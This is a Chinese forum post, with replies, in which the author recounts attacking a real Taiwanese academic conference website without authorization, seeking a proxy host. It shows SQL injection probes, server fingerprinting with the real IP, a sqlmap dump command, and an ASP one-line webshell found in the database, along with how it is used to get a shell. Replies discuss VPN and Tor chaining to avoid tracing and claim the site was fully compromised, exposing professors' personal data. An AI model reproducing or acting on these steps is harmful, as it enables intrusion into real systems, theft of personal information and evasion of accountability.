先挂上VPN，这样我的IP就变成了某个小岛了，然后试一下
XXXXXXXXXXXXXXXXXXXXX/XXXXXXXXp?id=2 and 1=1
正常

再试了一下
XXXXXXXXXXXXXXXXXXXXX/XXXXXXXXp?id=2 and 1=2
没有任何显示，前后的内容不一样，证明有sql注入点存在

用whatweb看了一下：
XXXXXXXXXXXXXXXXXXXXX/XXXXXXXXp [200] ASP_NET, Cookies[ASPSESSIONIDSSCARARB], Country[TAIWAN; REPUBLIC OF CHINA (ROC)][TW], HTTPServer[Microsoft-IIS/6.0], IP[220.133.246.2], Microsoft-IIS[6.0], PasswordField[userpass], Script[text/javascript], Title[Asian Conference on Engineering and Natural Sciences], X-Powered-By[XXXXXXT]
所以说它是台湾的站，不是日本的有点失望，不过不在大陆我就放心多了，可以顺利地弄,这里也确认了网站是IIS 6.0 和asp的架构，至于数据库是什么就不知道了

再试了一下
XXXXXXXXXXXXXXXXXXXXX/robot.txt

XXXXXXXXXXXXXXXXXXXXX/XXXXXXXXp

XXXXXXXXXXXXXXXXXXXXX/admin/XXXXXXXXp

XXXXXXXXXXXXXXXXXXXXX/XXXXXXXXXXXXXXXXp
......
都没找到页面，没办法，下一步只好交给工具了

在这之前试了一下手动猜解表，admin和administrator、acens都试过了，没有一个猜出来，感觉其他人写得文章里面的步骤两下就猜出表来了有点不可思议，果然还是要靠工具吗？于是用sqlmap试了一下
上了sqlmap就开始哗啦啦地跑，此处略去大量打印，总之跑完之后猜出了以下的东西

python XXXXXXXXX -u XXXXXXXXXXXXXXXXXXXXX/XXXXXXXXp?id=2 --dump -T banner -C"name,id"
Database: Microsoft_Access_masterdb
Table: banner
[3 entries]
+----+-------------------------------+------------------------------------------+
| id | name                          | picurl                                   |
+----+-------------------------------+------------------------------------------+
| 10 | NULL                          | ../Upload/PicFiles/XXXXXXXXXXXXXXXXXXXg  |
| 3  | <%execute(request("admin"))%> | ../Upload/PicFiles/XXXXXXXXXXXXXXXXXXXXg |
| 4  | NULL                          | ../Upload/PicFiles/XXXXXXXXXXXXXXXXXXXXg |
+----+-------------------------------+------------------------------------------+

第一个证明这个网站是IIS6.0 + access的，好老，挂不得会被发现有漏洞，

第二个找到一个表表名是banner，这个确实是不常见的表名。也不太清楚这个表的作用是干嘛。

第三个<%execute(request("admin"))%>明显就是一句话木马，证明这个网站已经有人入侵过了，估计已经拿了shell，而且还很长一段时间了。看来这个网站已经被别人入侵过了，很失望。

我猜想之前的黑阔也是用这种方法注入进来的，然后把<%execute(request("admin"))%>写到数据库里面，再把这段代码导出到网站目录下形成一个木马。
接着利用工具连接上去，就拿到了这个网站的webshell。不过这个黑阔也太懒了，做过手脚也不清除一下，然而相比之下，这个网站的管理员更懒，网站被入侵了也没有发现

看了一下，这个网站也不算什么野鸡网站，还有注册页面，估计应该也有学者在里面注册填上自己的信息，如果真的填上真实信息的话，后果可怕[s::lol]

网页还有一些相关的知名大学和教授的名字，日本的东大也有好几个叫兽。
International Committee

Kyung-Suk Cho, Ewha Womans University

Shigeo Honma, Tokay University

Abdullah Ozer, Sultan Qaboos University

Frank F.S. Shieu, National Chung Hsing University

Dennis Y.C Leung, The University of Hong Kong

Goh Joo Kheng, Monash University

Sheng-Yen Hsu, National Sun Yat-sen University

Jeng-Kuei Chang, National Central University

Thippayarat Chahomchuen, Kasetsart University

Yasuhiko Koike, Tokyo University of Agriculture

Istvan Toth, University of Queensland

Dr.S.Ahmed John, Jamal Mohamed College,

Prof. Amel L, Magallanes, Capiz State University

Huada Daniel Ruan, Beijing Normal University-Hong Kong
Baptist University United International College(UIC)

Farhad Memarzadeh, National Institutes of Health

Dr. Asif Mahmood, King Saud University, Riyadh

尝试了多种方法暴露网站的绝对路径，这样我也可以像上一个黑阔那样拿到shell，但试了一下没有用，没有绝对路径我就没法写shell
渐渐地，我对这个网站失去兴趣，主要是这个网站是win系统的，而我的目的是能找到一台linux系统的机器来做代理，继续弄下去也没有太多的意义。

这里看来，网站的安全确实很有必要。那些报名参加这个会议的教授们如果填写了自己的真实信息，如电话号码、地址、年龄、专业。。。。
这些信息的话，被拿别人拿到是很容易的事情。而在美国个人信息泄露网站是要背负责任的，而中国的话不管是大陆还是台湾，似乎都没有什么管的。

挂上VPN有一个误区，那就是在快速全网扫描平民化的今天，跳板的单跳将被快速、有效、简单地识别出来，在网络攻击的源头追查上，单跳的VPN存在这样的问题：1.VPN提供者的可信性问题。2.额……我已经说了，单跳和没跳的差别越来越小。3.所有流量从一个点出去，万一这个点连不上，必要的后续步骤没完成，会留下明显的痕迹等各种后患。

在这个bot横行的时代，使用单跳VPN作为跳板，实在是……

最后查了一下，这个The Asian Conference on Engineering and Natural Sciences是在日本福冈举办的会议，这类会议属于付费投稿式的会议，也就是参会的教授要交钱（学校出），会议上教授可以对自己的研究进行公开交流提高自己在学术界的影响。

引用 熊猫阿Bo:
挂上VPN有一个误区，那就是在快速全网扫描平民化的今天，跳板的单跳将被快速、有效、简单地识别出来，在网络攻击的源头追查上，单跳的VPN存在这样的问题：1.VPN提供者的可信性问题。2.额……我已经说了，单跳和没跳的差别越来越小。3.所有流量...

vpn这里还好，再加上我只拿国外网站测试，没有什么问题。
其实像tor这一类的我也考虑过，但无奈速度太慢，根本无法用来做爆破或机器注入，只好放弃

引用 smith:
vpn这里还好，再加上我只拿国外网站测试，没有什么问题。
其实像tor这一类的我也考虑过，但无奈速度太慢，根本无法用来做爆破或机器注入，只好放弃

把tor当成整体看待的话，tor不还是单跳?

V+T

这个网站已经拿下，旁站解MD5拿下后沦陷，
下面是控制面板，大量教授的信息